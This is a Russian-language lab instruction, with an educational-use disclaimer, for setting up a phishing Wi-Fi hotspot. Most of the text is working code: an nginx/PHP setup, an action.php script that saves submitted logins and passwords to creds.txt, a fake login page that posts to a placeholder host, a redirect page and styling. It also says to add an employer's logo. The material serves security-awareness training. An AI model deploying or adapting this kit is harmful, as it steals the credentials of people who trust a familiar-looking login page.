Представленная в данной лабораторной работе инструкция по настройке приведена исключительно в образовательных целях. Реализация этой или подобной схем для сбора данных попадает сразу под несколько статей административного и уголовного кодекса РФ. Автор публикует данный материал в отрытый доступ только для повышения осведомленности слушателей учебных курсов о техниках и методах атак, используемых злоумышленниками.
apt install nginx php-fpm
:> /etc/nginx/sites-available/default
nano /etc/nginx/sites-available/default
server {
listen 80 default_server;
root /var/www/html;
index index.nginx-debian.html;
server_name _;
location / {
try_files $uri $uri/ =404;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php-fpm.sock;
}
}
nano /var/www/html/action.php
<?php
$path = 'creds.txt';
if (isset($_POST['login']) && isset($_POST['password'])) {
$fh = fopen($path,"a+");
$string = $_POST['login'].' - '.$_POST['password']."\n";
fwrite($fh,$string); // Write information to the file
fclose($fh); // Close the file
header("Location: http://10.5.50.1//ok.html"); // Hotspot IP
exit;
}
?>
chown -R www-data /var/www/*
nginx -t
systemctl restart nginx
login.html
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<meta http-equiv="pragma" content="no-cache">
<meta http-equiv="expires" content="-1">
<title>Hotspot</title>
<link rel="stylesheet" href="evil.css">
</head>
<body>
<br><br>
<p align="center">
<table class="main" width="320" border="0" align="center"><tr><td align="center" valign="middle">
<img src="logo.svg" width="270">
<br><br><br>
<font color="#ee3f58">Фишинговая точка доступа!<br>Только для ознакомления!</font>
<br><br><br>
<form action="https://IP_OR_FQDN/action.php" method="post"> <!-- ЗАМЕНИТЕ IP_OR_FQDN -->
<input type="text" name="login" placeholder="Ваш Email или телефон" minlength="8"><br><br>
<input type="password" name="password" placeholder="Ваш пароль" minlength="8"><br><br><br>
<input type="submit" value="Войти" class="enter">
</form>
<br><br>
</tr></td></table>
</p>
</body>
</html>
ok.html
<html>
<head>
<title>Успешная авторизация</title>
<meta http-equiv="refresh" content="0;URL=$(link-login-only)?dst=$(link-orig-esc)&username=T-$(mac-esc)"/>
</head>
<body>
<p align="center">
<font color="#2681c4">
Ваши логин и пароль сохранены в creds.txt.
</font>
</p>
</body>
</html>
evil.css
a,body,html,img,label,p,span,font{margin:0;padding:0;border:0;font-family:sans-serif,Arial;color:#2681c4;font-size:16px;}
body,html{min-height:100%;overflow-x:hidden}
body{background:#ffffff;}
table.main{background:#ffffff;}
input {
width: 75%;
height: 32px;
padding: 14px 16px;
border: 0;
border-color:#a2b8e8;
border-radius: 8px;
background-color:#f5f7fa;
font-size: 14px;
line-height: 14px;
}
input:focus {
width: 75%;
height: 32px;
padding: 14px 16px;
border: 0;
border-color:#2681c4;
border-radius: 8px;
background-color:#ffffff;
font-size: 14px;
line-height: 14px;
}
input.enter {
display: inline-block;
border-radius: 8px;
border: none;
height: 52px;
padding: 14px 16px;
font-size: 16px;
color: #fff;
background: #2681c4;
cursor: pointer;
width: 82%;
text-align: center;
vertical-align:middle;
}
В login.html присутствует ссылка на картинку logo.svg. Самостоятельно добавьте логотип вашего работодателя вместо нее.
Вы ведь следуете этой инструкции, держа под рукой письменное распоряжение генерального директора на проведение работ по тестированию на проникновение, не так ли?!